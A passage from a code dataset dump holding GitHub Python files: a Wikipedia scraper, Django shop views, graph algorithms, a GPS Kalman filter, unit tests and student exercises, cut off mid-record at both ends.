category_dict[ category].drop_duplicates( subset = ['category', 'subcategory', 'pageid', 'title'], keep = 'last') # If nested category is part of multiple children nodes, remove the extra copies,each category\n                return category_dict\n            except:\n                return category_dict\n            \ndef cleaner(message):  ## NEED TO TUNE CLEANER\n    message = re.sub('\\.+', ' ', message)\n    message = re.sub('[^a-z0-9 ]',' ', message.lower())\n    message = re.sub('\\d+','',message)\n    message = re.sub('\\s+',' ',message)\n    message = ' '.join(i.orth_ for i in nlp(message)  ## lemma - original word, ## ortho - root\n                    if i.orth_ not in STOP_WORDS)\n    message = ' '.join(message.split())\n    return message \n\ndef grab_content( page_id, clean = True):\n    try:\n        page_content = wikipedia.WikipediaPage(pageid = page_id).content\n    except: \n        page_content = ''\n    if clean:\n        return cleaner(page_content)\n    else:\n        return page_content\n        \n## NEW - If we grab the article, pickle the category dfs which are used build each database \n\n# T\ndef fill_unique_pages( category, depth = 3, grab = False):\n    start = datetime.now()\n    print('Gathering page information from Category: {}, pages from nested sub-categories (+{} levels) will be \\nincluded as a union for each category.'.format( category, depth))\n    category_dict = get_pages( category, depth)  \n    n_categories = len( category_dict.keys()) \n    print('\\tTotal categories after recursive search: {}'.format( n_categories) )\n    \n    try:\n        category_pages_df = pd.concat( category_dict.values())\n    ## Edit, below except clause, everything moved left 1 tab\n    except:\n        print( 'Nothing to fill.')\n        return\n    category_pages_df.drop('ns', axis = 1, inplace = True)\n    category_pages_df.reset_index( drop = True, inplace = True)\n        \n    unique_pages_df = category_pages_df.drop_duplicates(subset = ['pageid', 'title']).reset_index( drop = True).copy() \n    categories_df = category_pages_df.drop_duplicates( subset = ['category']).reset_index( drop=True).copy()\n    subcategories_df = category_pages_df.drop_duplicates( subset = ['category', 'subcategory']).reset_index(drop=True).copy()\n    subcat_page_df = category_pages_df#.drop_duplicates( subset = ['subcategory', 'pageid']).reset_index( drop=True).copy()\n        \n    n_grabs = unique_pages_df.shape[0]\n        \n    estT = round(time_of_one_grab*n_grabs/60, 2)  ## minutes\n    print('\\tRequesting {} unique articles - ETA: {} minutes'.format( n_grabs, estT))\n    if grab:  ## Grab the text articles and pickle the df_tup for later use\n        unique_pages_df.loc[:,'article'] = unique_pages_df.pageid.apply( grab_content, clean = False )  ## Don't clean it yet\n        get_article = lambda x: unique_pages_df[ unique_pages_df.pageid == x].article.tolist()[0]\n        category_pages_df.loc[:, 'article'] = category_pages_df.pageid.apply( get_article)\n        \n        unique_pages_df.loc[:,'article'] = unique_pages_df.article.apply( cleaner )  ## Now Clean\n        df_tup = (category_pages_df, unique_pages_df, categories_df, subcategories_df, subcat_page_df)\n         \n        pickle_file = re.sub( ' ', '_', category) + '_dfs' + str(depth) + '.p'\n        pickle_path = './pickles/' + pickle_file\n        ## write pickle (binary)\n        with open( pickle_path, 'wb') as f:\n            pickle.dump( df_tup, f)\n                \n        print( 'Category DataFrames are pickled at the following location: {}. Raw text is available in\\n category_pages_df in the pickle file'.format( pickle_path) )  \n        tag = ''\n    else:\n        tag = '(article excluded)'\n        df_tup = (category_pages_df, unique_pages_df, categories_df, subcategories_df, subcat_page_df)\n    totT = round((datetime.now()-start).seconds/60,2) ## minutes\n    print('\\t\\tPage collection {} took a total of {} minutes'.format(tag, totT) )\n    return df_tup   \n","repo_name":"ctmitts/Wikipedia-Article-Recommendor","sub_path":"request_category.py","file_name":"request_category.py","file_ext":"py","file_size_in_byte":9330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"19393533753","text":"class Solution:\n    def shortestSubarray(self, A: List[int], K: int) -> int:\n        pre = [0]\n        for num in A:\n            pre.append(pre[-1]+num)\n            \n        deque = collections.deque()\n        result = float(inf)\n        for i,sum_ in enumerate(pre):\n            \n            while(deque and deque[-1][1] >=sum_):\n                deque.pop()\n            \n            while deque and sum_ - deque[0][1] >= K:\n                result = min(i-deque[0][0], result)\n                deque.popleft()\n                \n            deque.append([i,sum_])\n        return result if result!= float(inf) else -1\n        ","repo_name":"Reman-tsega/competative-Programing","sub_path":"0862-shortest-subarray-with-sum-at-least-k/0862-shortest-subarray-with-sum-at-least-k.py","file_name":"0862-shortest-subarray-with-sum-at-least-k.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"71210986279","text":"from conftest import *\n\nTOKEN_IDS = [0, 1]\nDEPOSIT = True\n\n\ndef test_get_swapping_price(admin, mockOracle):\n    assert (\n        mockOracle.getSwappingPrice(TOKEN_IDS[0], TOKEN_IDS[1], LARGE_NUMBER, DEPOSIT)\n        == LARGE_NUMBER\n    )\n\n\ndef test_get_single_price(admin, mockOracle):\n    vp = mockOracle.getVirtualPrice()\n    assert (\n        mockOracle.getSinglePrice(TOKEN_IDS[0], LARGE_NUMBER, DEPOSIT) == LARGE_NUMBER * vp / 1e18\n    )\n\n\ndef test_get_total_value(admin, mockOracle):\n    vp = mockOracle.getVirtualPrice()\n    assert mockOracle.getTotalValue([LARGE_NUMBER]) == LARGE_NUMBER * vp / 1e18\n","repo_name":"groLabs/GSquared","sub_path":"tests/unit/tranche/oracle_test.py","file_name":"oracle_test.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"813367500","text":"from django.contrib import messages\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.shortcuts import render, redirect, get_object_or_404, HttpResponseRedirect, Http404\nfrom django.views.generic import ListView, DetailView, View\nfrom django.utils import timezone\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom .models import Item, Order, OrderItem, BillingAddress, ItemImages, Profile\nfrom .forms import CheckoutForm, AddProduct, EditProduct, ProfileEditForm, UserEditForm\nfrom django.forms import modelformset_factory\n# Create your views here.\n\n# for adding product\n@login_required\ndef add_product(request):\n    ImageFormset = modelformset_factory(ItemImages, fields=('image',), extra=5)\n    if request.method == 'POST':\n        form = AddProduct(request.POST)\n        formset = ImageFormset(request.POST or None, request.FILES or None)\n        if form.is_valid() and formset.is_valid():\n            item = form.save(commit=False)\n            item.user = request.user\n            item.save()\n\n            for each in formset:\n                try:\n                    images = ItemImages(item=item, image=each.cleaned_data['image'])\n                    images.save()\n                except Exception as e:\n                    break\n            return redirect('shop:index')\n            \n    else:\n        form = AddProduct()\n        formset = ImageFormset(queryset=ItemImages.objects.none())\n    context = {\n            'form': form,\n            'formset': formset\n        }\n    return render(request, 'add_product.html', context)\n\n\n# Edit the existing product using its id\ndef edit_product(request, id):\n    item = get_object_or_404(Item, id=id)\n    ImageFormset = modelformset_factory(ItemImages, fields=('image',), extra=5)\n    if item.user != request.user:\n        raise Http404()\n    if request.method == 'POST':\n        form = EditProduct(request.POST or None, instance=item)\n        formset = ImageFormset(request.POST or None, request.FILES or None)\n        if form.is_valid() and formset.is_valid():\n            form.save()\n            for each in formset:\n                if each.cleaned_data:\n                    if each.cleaned_data['id'] is None:\n                        images = ItemImages(item=item, image=each.cleaned_data['image'])\n                        images.save()\n\n\n            return HttpResponseRedirect(item.get_absolute_url())\n    else:\n        form = EditProduct(instance=item)\n    context = {\n        'form': form,\n        'item': item\n    }\n\n    return render(request, 'edit_product.html', context)\n\n# delete_product\n@login_required\ndef delete_product(request, id):\n    item = get_object_or_404(Item, id=id)\n    if item.user != request.user:\n        raise Http404()\n    item.delete()\n    return redirect('shop:index')\n\n# landing page\nclass HomeView(ListView):\n    model = Item\n    paginate_by = 15\n    template_name = 'index.html'\n\n# Product detail view\nclass ItemDetailView(DetailView):\n    model = Item\n    template_name = 'product.html'\n\n\n# logic for adding something to the cart\n@login_required\ndef add_to_cart(request, pk, slug):\n    item = get_object_or_404(Item, id=pk)\n    order_item, created = OrderItem.objects.get_or_create(\n        item=item,\n        user=request.user,\n        ordered=False\n    )\n    order_query = Order.objects.filter(user=request.user, ordered=False)\n    if order_query.exists():\n        order = order_query[0]\n        # check if the order is already in the cart\n        if order.items.filter(item__slug=item.slug).exists():\n            order_item.quantity += 1\n            order_item.save()\n        else:\n            order.items.add(order_item)\n\n    else:\n        ordered_date = timezone.now()\n        order = Order.objects.create(\n            user=request.user, ordered_date=ordered_date)\n        order.items.add(order_item)\n    messages.info(request, 'Product was added to cart successfully')\n    return redirect(\"shop:product\", pk=pk, slug=slug)\n\n\n# for adding item using cart \n@login_required\ndef single_item_add_to_cart(request, pk, slug):\n    item = get_object_or_404(Item, id=pk)\n    order_item, created = OrderItem.objects.get_or_create(\n        item=item,\n        user=request.user,\n        ordered=False\n    )\n    order_query = Order.objects.filter(user=request.user, ordered=False)\n    if order_query.exists():\n        order = order_query[0]\n        # check if the order is already in the cart\n        if order.items.filter(item__slug=item.slug).exists():\n            order_item.quantity += 1\n            order_item.save()\n            messages.info(request, 'Product was updated successfully')\n            return redirect(\"shop:cart_summary\")\n        else:\n            order.items.add(order_item)\n            messages.info(request, 'Product was added to cart successfully')\n            return redirect(\"shop:cart_summary\")\n\n    else:\n        ordered_date = timezone.now()\n        order = Order.objects.create(\n            user=request.user, ordered_date=ordered_date)\n        order.items.add(order_item)\n    messages.info(request, 'Product was added to cart successfully')\n    return redirect(\"shop:cart_summary\")\n\n\n# delete product\n@login_required\ndef remove_from_cart(request, pk, slug):\n    item = get_object_or_404(Item, id=pk)\n    query_set = Order.objects.filter(\n        user=request.user,\n        ordered=False\n    )\n    if query_set.exists():\n        order = query_set[0]\n        if order.items.filter(item__slug=item.slug).exists():\n            order_item = OrderItem.objects.filter(\n                item=item,\n                user=request.user,\n                ordered=False\n            )[0]\n            order.items.remove(order_item)\n            messages.info(\n                request, 'Product was removed from cart successfully')\n            return redirect(\"shop:product\", pk=pk, slug=slug)\n        else:\n            messages.info(request, 'product isn\\'t in the cart ')\n            return redirect(\"shop:product\", pk=pk, slug=slug)\n    else:\n        messages.info(request, 'you don\\'t have active order')\n        return redirect(\"shop:product\", pk=pk, slug=slug)\n\n\n# remove single product from cart\n@login_required\ndef remove_single_item_from_cart(request, pk, slug):\n    item = get_object_or_404(Item, id=pk)\n    query_set = Order.objects.filter(\n        user=request.user,\n        ordered=False\n    )\n    if query_set.exists():\n        order = query_set[0]\n        if order.items.filter(item__slug=item.slug).exists():\n            order_item = OrderItem.objects.filter(\n                item=item,\n                user=request.user,\n                ordered=False\n            )[0]\n            if order_item.quantity <= 1:\n                order.items.remove(order_item)\n                messages.info(\n                    request, 'Product was removed from cart successfully')\n                return redirect(\"shop:cart_summary\")\n            order_item.quantity -= 1\n            order_item.save()\n            messages.info(\n                request, 'Product was removed from cart successfully')\n            return redirect(\"shop:cart_summary\")\n        else:\n            messages.info(request, 'product isn\\'t in the cart ')\n            return redirect(\"shop:cart_summary\")\n    else:\n        messages.info(request, 'you don\\'t have active order')\n        return redirect(\"shop:cart_summary\")\n# #\n\n# cart summary\nclass CartSummary(LoginRequiredMixin, View):\n    def get(self, *args, **kwargs):\n        try:\n            order = Order.objects.get(user=self.request.user, ordered=False)\n            context = {\n                'object': order\n            }\n            return render(self.request, 'cart.html', context)\n        except ObjectDoesNotExist:\n            context = {\n                'empty': True\n            }\n            return render(self.request, 'cart.html', context)\n\n# for search\ndef search(request):\n    try:\n        q = request.GET['q']\n    except:\n        q = None\n\n    if q:\n        products = Item.objects.filter(title__icontains=q)\n        results = {'query': q, 'products': products}\n        return render(request, 'results.html', results)\n    else:\n        results = {'empty': True}\n        return render(request, 'index.html')\n\n\n# checkout\nclass Checkout(LoginRequiredMixin, View):\n    def get(self, *args, **kwargs):\n        form = CheckoutForm()\n        context = {\n            'form': form\n        }\n        return render(self.request, 'checkout.html', context)\n\n    def post(self, *args, **kwargs):\n        form = CheckoutForm(self.request.POST or None)\n        try:\n            order = Order.objects.get(user=self.request.user, ordered=False)\n            if form.is_valid():\n                first_name = form.cleaned_data('first_name')\n                last_name = form.cleaned_data('last_name')\n                address1 = form.cleaned_data('address1')\n                address2 = form.cleaned_data('address2')\n                company = form.cleaned_data('company')\n                country = form.cleaned_data('country')\n                zip_code = form.cleaned_data('zip_code')\n                terms = form.cleaned_data('terms')\n                newsletter = form.cleaned_data('newsletter')\n                method_of_payment = form.cleaned_data('method_of_payment')\n                save_info = form.cleaned_data('save_info')\n                phone = form.cleaned_data('phone')\n                email = form.cleaned_data('email')\n                billing_address = BillingAddress(\n                    user = self.request.user,\n                    country = country,\n                    address1 = address1,\n                    first_name = first_name,\n                    last_name = last_name,\n                    address2 = address2,\n                    newsletter = newsletter,\n                    company = company,\n                    zip_code = zip_code,\n                    phone = phone\n\n                )\n                billing_address.save()\n                order.billing_address = billing_address\n                order.save()\n                return redirect('shop:checkout')\n            messages.warning(self.request, 'failed !!!')\n            return redirect('shop:checkout')\n        except ObjectDoesNotExist:\n            return render(self.request, 'shop:checkout')\n\n\n# just renders the payment view\nclass PaymentView(View):\n    def get(self, *args, **kwargs):\n        return render(self.request, 'payment.html')\n\n\n# profile edit page\n@login_required\ndef edit_profile(request):\n    p_form = get_object_or_404(Profile, user=request.user) \n\n    if request.method == 'POST':\n        user_form = UserEditForm(data=request.POST or None, instance=request.user)\n        profile_form = ProfileEditForm(data=request.POST or None, instance=request.user.profile, files=request.FILES)\n        if user_form.is_valid() and profile_form.is_valid():\n            user_form.save()\n            profile_form.save()\n            return redirect('shop:myprofile')\n    else:\n        user_form = UserEditForm(instance=request.user)\n        profile_form = ProfileEditForm(instance=request.user.profile)\n    \n    context = {\n        'user_form': user_form,\n        'profile_form': profile_form,\n        'p_form': p_form\n    }\n    return render(request, 'profile.html', context)\n\n\n#\n\ndef blog(request):\n    return render(request, 'blog.html')\n\ndef cart(request):\n    return render(request, 'cart.html')\n\ndef categories(request):\n    return render(request, 'categories.html')\n","repo_name":"data-pirate/Astar","sub_path":"shopping_site/shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11461,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"25437926168","text":"class Node: \r\n      \r\n    def __init__(self, data): \r\n        self.data = data \r\n        self.next = None\r\n        \r\nclass Queue: \r\n      \r\n    def __init__(self): \r\n        self.front = self.rear = None\r\n  \r\n    def isEmpty(self): \r\n        return self.front == None\r\n       \r\n    def EnQueue(self, item): \r\n        temp = Node(item) \r\n          \r\n        if self.rear == None: \r\n            self.front = self.rear = temp \r\n            return\r\n        self.rear.next = temp \r\n        self.rear = temp   \r\n\r\n    def DeQueue(self): \r\n          \r\n        if self.isEmpty(): \r\n            return\r\n        temp = self.front \r\n        self.front = temp.next\r\n  \r\n        if(self.front == None): \r\n            self.rear = None\r\n        return str(temp.data)\r\n\r\n    def display (self):\r\n        if self.front == None :\r\n            print (\"[-] The list is Empty :\")\r\n        else :\r\n            self.rear = Node\r\n            print(\"[+] The Item of the list\" ,Node)\r\n  \r\nif __name__== '__main__': \r\n    q = Queue() \r\n    q.EnQueue(1) \r\n    q.EnQueue(7) \r\n    q.DeQueue() \r\n    q.DeQueue() \r\n    q.EnQueue(5) \r\n    q.EnQueue(2)  \r\n    q.display ()\r\n    print(\"[-] Dequeued item is \" + q.DeQueue()) \r\n","repo_name":"Zubair-Usman-Paracha/python-","sub_path":"lab 11 task 1.py","file_name":"lab 11 task 1.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"10053899656","text":"import json\nfrom typing import List\nimport matplotlib.pyplot as plt\nfrom src.GraphAlgoInterface import GraphAlgoInterface\nfrom src.GraphInterface import GraphInterface\nfrom src.DiGraph import DiGraph, Node\nimport heapq\n\nDEBUG = False\n\n\nclass GraphAlgo(GraphAlgoInterface):\n\n    def __init__(self, g: GraphInterface):\n        self.g = g\n\n    def get_graph(self) -> GraphInterface:\n        return self.g\n\n    def load_from_json(self, file_name: str) -> bool:\n        my_dict = {}\n        g = DiGraph()\n\n        with open(file_name, \"r\") as f:\n            my_dict = json.load(f)\n\n        # Load all node info from list to graph,\n        for node in my_dict[\"Nodes\"]:\n            # Null exception if node has no keyword 'pos', solution: generate random pos in Node class.\n            try:\n                x, y, z = str(node[\"pos\"]).split(\",\")\n                g.add_node(node[\"id\"], (float(x), float(y), float(z)))\n            except:\n                g.add_node(node[\"id\"])\n\n        for edge in my_dict[\"Edges\"]:\n            g.add_edge(edge[\"src\"], edge[\"dest\"], edge[\"w\"])\n\n        self.g = g\n        return True\n\n    def save_to_json(self, file_name: str) -> bool:\n\n        jsonGraph = {}\n        nodes = []\n        edge = []\n\n        # Convert to a list of nodes\n        for n in self.g.nodes.values():\n            jsonNode = {}\n            if n.pos is None:\n                jsonNode[\"id\"] = n[\"id\"]\n            else:\n                pos_str = str(n.pos).replace(\"(\", \"\").replace(\")\", \"\")\n                jsonNode[\"pos\"] = pos_str\n                jsonNode[\"id\"] = n.id\n            nodes.append(jsonNode)\n        jsonGraph[\"Nodes\"] = nodes\n\n        for n in self.g.nodes.keys():\n            for e in self.g.all_out_edges_of_node(n).items():\n                jsonEdge = {\"src\": n, \"w\": e[1], \"dest\": e[0]}\n                edge.append(jsonEdge)\n        jsonGraph[\"Edges\"] = edge\n\n        with open(file_name, \"w\") as f:\n            json.dump(jsonGraph, fp=f, indent=2)\n            # json.dump(self, fp=f, indent=4, default=lambda obj: obj.__dict__)\n\n    def shortest_path(self, id1: int, id2: int) -> (float, list):\n\n        # Invalid input\n        if id1 not in self.g.nodes or id2 not in self.g.nodes:\n            return float('inf'), []\n        # Same node\n        if id1 == id2:\n            return 0, []\n        # Valid input\n        # We will use a Min-Heap to store the cost of traveling to certain node.\n\n        if DEBUG: print(f'Source = {id1}, Destination = {id2}')\n        # Make dict with size of vertices, initialize with cost \"infinity\"\n        heap = dict({(i, float('inf')) for i in range(self.g.v_size())})\n        cost_info = [float('inf') for i in range(self.g.v_size())]\n        # Make source with cost 0\n        heap[id1] = 0\n        cost_info[id1] = 0\n        if DEBUG: print(f'Heap at start:{heap}')\n\n        # The element at a[k] is the parent of a[k]\n        # -1 if no parent.\n        parents = {i: -1 for i in range(self.g.v_size())}\n        parents[id1] = 0\n        if DEBUG: print(f'Parent list at start:{parents}\\n')\n\n        current = self.g.nodes[id1].id\n        # Start dijkstra\n        run = True\n        while run:\n            if DEBUG: print(f'Current node:{current}')\n            # Get all edges coming from current node\n            for edge in self.g.all_out_edges_of_node(current).items():\n                if DEBUG: print(f'Edges coming out of {current}: {edge}')\n                # New vertex cost is min of previous or current path\n                weight = edge[1]\n                dst = edge[0]\n\n                if cost_info[current] + weight < cost_info[dst]:\n                    cost_info[dst] = cost_info[current] + weight\n                    parents[dst] = current\n\n                    if dst in heap:\n                        heap[dst] = cost_info[dst]\n\n            heap.pop(current)\n            temp = list(heap.items())\n            temp.sort(key=lambda x: x[1])\n            heap = dict(temp)\n\n            if DEBUG:\n                print(f'Heap now:{heap}')\n                print(f'Cost info now:{cost_info}')\n                print(f'Parent list now:{parents}\\n')\n\n            if len(heap) == 0:\n                break\n\n            current = min(heap, key=heap.get)\n            if heap[current] == float('inf'):\n                break\n\n        answer = []\n        current = id2\n        run = True\n\n        # Make list out of parent database\n        while run:\n            if parents[current] == -1:\n                return float('inf'), []\n            if DEBUG:\n                print(f'Node = {current}, his parent = {parents[current]}')\n            answer.append(current)\n            current = parents[current]\n            run = current != id1\n\n        answer.append(id1)\n        answer.reverse()\n        return cost_info[id2], answer\n\n    def TSP(self, node_lst: List[int]) -> (List[int], float):\n        tsp = []\n        cost = 0\n        length = len(node_lst)\n\n        # For node list (v1, v2, v3, ..., vn)\n        # get shortest path between v1->v2, v2->v3, ... up to vn and join them.\n        # Remove last element because it will be added at the start at the next iteration.\n        for n in range(length - 1):\n            current = self.shortest_path(n, n + 1)\n            cost += current[0]\n            tsp.extend(current[1])\n\n            if n != length - 1:\n                tsp.remove(tsp[-1])\n\n        return tsp, cost\n\n    def centerPoint(self) -> (int, float):\n        max_distance = []\n        max = -1\n\n        for n1 in self.g.get_all_v():\n            for n2 in self.g.get_all_v():\n                if n1 != n2:\n                    dt = self.shortest_path(n1, n2)[0]\n                    if dt != float('inf') and dt > max:\n                        max = dt\n            max_distance.append(max)\n            max = -1\n\n        min_of_max = float('inf')\n        index = 0\n        for i in range(len(max_distance)):\n            if max_distance[i] == -1:\n                continue\n            if max_distance[i] < min_of_max:\n                min_of_max = max_distance[i]\n                index = i\n\n        return index, min_of_max\n\n    def plot_graph(self) -> None:\n        ball_size = \".\"\n        for node in self.g.get_all_v().values():\n\n            # First draw each node\n            x, y, z = node.pos\n            plt.plot(x, y, markersize=10, marker=ball_size, color=\"cyan\")\n\n            # Then draw each edge going out of current node\n            for e in self.g.all_out_edges_of_node(node.id).items():\n                dx, dy, dz = self.g.nodes[e[0]].pos\n                plt.annotate(\"\", xy=(x, y), xytext=(dx, dy), arrowprops=dict(arrowstyle=\"<-\"))\n\n            # Make node id appear above all\n            plt.text(x, y, f\"v{node.id}\", color=\"red\", fontsize=13)\n\n        plt.show()\n","repo_name":"Tomi-1997/CS-2ndYear","sub_path":"OOP/3/src/GraphAlgo.py","file_name":"GraphAlgo.py","file_ext":"py","file_size_in_byte":6732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"14951598701","text":"import unittest\nimport bdDetect\nfrom .extensionPointTestHelpers import chainTester\nimport braille\nfrom utils.blockUntilConditionMet import blockUntilConditionMet\n\n\nclass TestBdDetectExtensionPoints(unittest.TestCase):\n\t\"\"\"A test for the extension points on the bdDetect module.\"\"\"\n\n\tdef test_scanForDevices(self):\n\t\tkwargs = dict(usb=False, bluetooth=False, limitToDevices=[\"noBraille\"],)\n\t\twith chainTester(\n\t\t\tself,\n\t\t\tbdDetect.scanForDevices,\n\t\t\t[(\"noBraille\", bdDetect.DeviceMatch(\"\", \"\", \"\", {}))],\n\t\t\t**kwargs\n\t\t):\n\t\t\tbraille.handler._enableDetection(**kwargs)\n\t\t\t# wait for the detector to be terminated.\n\t\t\tsuccess, _endTimeOrNone = blockUntilConditionMet(\n\t\t\t\tgetValue=lambda: braille.handler._detector,\n\t\t\t\tgiveUpAfterSeconds=3.,\n\t\t\t\tshouldStopEvaluator=lambda detector: detector is None,\n\t\t\t)\n\t\t\tself.assertTrue(success)\n","repo_name":"nvaccess/nvda","sub_path":"tests/unit/test_bdDetect.py","file_name":"test_bdDetect.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":1802,"dataset":"github-code","pt":"18"}
{"seq_id":"9687392535","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport os\n\n# !pip install utm\nimport utm\n\nlocation_gps = os.path.join(\"data\", \"trajectory_GPS.txt\")\ndata_gps = np.loadtxt(location_gps, delimiter=\";\", skiprows=1)\n# data_gps[:,0] = TIME | data_gps[:,1] = LAT | data_gps[:,2] = LON | data_gps[:,3] = ALT | data_gps[:,4] = sigma\n\nmeasurement = np.zeros((len(data_gps),3))\n\nfor i in range(len(data_gps[:,0])):\n  x, y, zone, ut = utm.from_latlon(data_gps[i,1], data_gps[i,2])\n  measurement[i,0] = x\n  measurement[i,1] = y\n  measurement[i,2] = data_gps[i,3]\n\ndef printmeasurement(measurement, data_gps, end=\"\\n\"):\n    with open(os.path.join(\"data\", f'measurements.txt'), \"a\") as file:\n      for i in range(len(measurement)):\n        file.write(f'{data_gps[i,0]};{measurement[i,0]};{measurement[i,1]};{measurement[i,2]}{end}')\n\nprintmeasurement(measurement, data_gps)\n\n\"\"\"\nplt.plot(measurement[:,0], measurement[:,1], label='2D position')\nplt.title('Plot of original data - position in x and y')\nplt.xlabel('R [m]')\nplt.ylabel('H [m]')\nplt.legend()\nplt.grid()\nplt.show()\n\nplt.plot(data_gps[:,0], measurement[:,2], label='hight')\nplt.title('Plot of original data - position in z')\nplt.xlabel('Time [s]')\nplt.ylabel('Hight [m]')\nplt.legend()\nplt.grid()\nplt.show()\n\"\"\"\n\n# x_dach_vektor = np.array([[547859.401, 5924922.99, 6.92086029]]).T # first measured point\nx_dach_vektor = np.array([[547859.940, 5924919.95, 5.0]]).T\n\nkov_x_dach_matrix = np.diag([1, 1, 1])\n\nt_matrix = np.diag([1, 1, 1])\n\nc_matrix = np.diag([1, 1, 1])\n\na_matrix = np.diag([1, 1, 1])\n\nx_save_update = np.zeros((len(measurement),3))\nP_save_update = np.zeros((len(measurement),3))\n\nfor j in range(len(measurement)):\n  w_vektor = np.array([((np.random.randn(1,1)**2) * 5), ((np.random.randn(1,1)**2) * 5), ((np.random.randn(1,1)**2) * 5)])\n  # w_vektor = np.array([np.random.normal(2, 1)**2, np.random.normal(2, 1)**2, np.random.normal(6, 3)**2])\n  kov_w_matrix = np.identity(len(w_vektor))\n\n  # step 0 - observation model\n  l_vektor = np.array([[measurement[j,0], measurement[j,1], measurement[j,2]]]).T\n  # observation uncertainty\n  kov_l_matrix = np.diag([data_gps[j,4], data_gps[j,4], data_gps[j,4]*1.5])\n\n  # step 1 - Prediction\n  x_strich_vektor = np.array([x_dach_vektor[0], x_dach_vektor[1], x_dach_vektor[2]])  # state matrix\n  kov_x_strich_matrix = t_matrix@kov_x_dach_matrix@np.transpose(t_matrix)+c_matrix@kov_w_matrix@np.transpose(c_matrix)  # stochastical model\n  \n  # step 2 - Innovation\n  d_vektor = l_vektor-a_matrix@x_strich_vektor  # residuals between observation and prediction\n  kov_d_matrix = kov_l_matrix+a_matrix@kov_x_strich_matrix@np.transpose(a_matrix)  # system uncertainty\n  \n  # step 3 - Kalman gain\n  k_matrix = kov_x_strich_matrix@np.transpose(a_matrix)@np.linalg.inv(kov_d_matrix)  # Kalman gain  \n  \n  # step 4 - Update\n  x_dach_vektor = x_strich_vektor+k_matrix@d_vektor  # update of state matrix\n  kov_x_dach_matrix = (np.identity(len(k_matrix@a_matrix))-kov_x_dach_matrix)@kov_x_strich_matrix  # update of stochastical model\n  \n  # Value storage for visualisation\n  x_save_update[j,0] = x_dach_vektor[0]\n  x_save_update[j,1] = x_dach_vektor[1]\n  x_save_update[j,2] = x_dach_vektor[2]\n\n  P_save_update[j,0] = kov_x_dach_matrix[0,0]\n  P_save_update[j,1] = kov_x_dach_matrix[1,1]\n  P_save_update[j,2] = kov_x_dach_matrix[2,2]\n\ndef printx_save_update(x_save_update, data_gps, end=\"\\n\"):\n    with open(os.path.join(\"data\", f'x_save_update.txt'), \"a\") as file:\n      for i in range(len(x_save_update)):\n        file.write(f'{data_gps[i,0]};{x_save_update[i,0]};{x_save_update[i,1]};{x_save_update[i,2]}{end}')\n\nprintx_save_update(x_save_update, data_gps)\n\nplt.plot(measurement[:,0], measurement[:,1], 'r-', label='original')\nplt.plot(x_save_update[:,0], x_save_update[:,1], 'g-', label='filtered')\nplt.title('Comparison - position in x and y')\nplt.xlabel('R [m]')\nplt.ylabel('H [m]')\nplt.legend()\nplt.grid()\nplt.show()\n\nplt.plot(data_gps[:,0], measurement[:,2], 'r-', label='original')\nplt.plot(data_gps[:,0], x_save_update[:,2], 'g-', label='filtered')\nplt.title('Comparison - position in z')\nplt.xlabel('Time [s]')\nplt.ylabel('Height [m]')\nplt.legend()\nplt.grid()\nplt.show()","repo_name":"c-mahn/hcu-ma-gmt-integrated-navigation","sub_path":"tutorial_03/pure_code.py","file_name":"pure_code.py","file_ext":"py","file_size_in_byte":4166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"40609224886","text":"import os\nimport pandas as pd\nimport math\n\n\n# Set working directory to directory containing data (csv file)\nos.chdir(r'pathToFile')\n\n# Read the CSV file\ndf = pd.read_csv('coordinates.csv')\n\n# Define a function to convert decimal degrees to degrees and minutes\ndef dec_deg_to_deg_mins(dec_deg):\n    \"\"\"\n    This function converts decimal degrees to degrees and minutes format.\n    \"\"\"\n    deg = int(dec_deg)\n    mins = abs((dec_deg - deg) * 60)\n    return f\"{deg}°{math.floor(mins)}'\"\n\n# Apply the function to the latitude and longitude columns\ndf['Latitude_DM'] = df['Latitude'].apply(dec_deg_to_deg_mins)\ndf['Longitude_DM'] = df['Longitude'].apply(dec_deg_to_deg_mins)\n\n# Save the results to a new CSV file\n# Encoding settings retains '°' symbol in csv output\ndf.to_csv('coordinates_dms.csv', encoding='utf-8-sig')\n","repo_name":"peterkabano/basic_tasks","sub_path":"Decimal_Degrees(latLong)_To_Degrees_Minutes/Decimal_Degrees_to_Degrees_Minutes.py","file_name":"Decimal_Degrees_to_Degrees_Minutes.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"548972859","text":"import asyncio\nimport random\nimport time\nimport jsonpickle\nfrom spade.behaviour import CyclicBehaviour,OneShotBehaviour,PeriodicBehaviour\nfrom spade.message import Message\nfrom objects.package import Package\n\n\nclass ControlTowerListener(CyclicBehaviour):\n      '''Listener principal da torre de controlo'''\n      async def run(self):\n            # Get message\n            msg = await self.receive(timeout=10)\n            current_time = time.time()\n\n            if msg:\n                  self.agent.write_log('Control Tower: Got message')\n                  performative = msg.get_metadata('performative')\n                  source = str(msg.sender)\n                  if performative == 'request' and msg.body:\n                        package:Package = jsonpickle.decode(msg.body)\n                        type = package.message\n                        if type == 'landing request':\n                              self.agent.write_log('Control Tower: Landing request received')\n                              if len(self.agent.landing_queue) < self.get('max_queue'):\n                                    self.agent.landing_queue.append((package.body,current_time - self.agent.min_request_handle_time))\n                              # Fila de espera cheia, recusa aterragem\n                              else:\n                                    msg = Message(to=source)\n                                    msg.set_metadata(\"performative\", \"refuse\")\n                                    await self.send(msg)\n                                    n_planes = 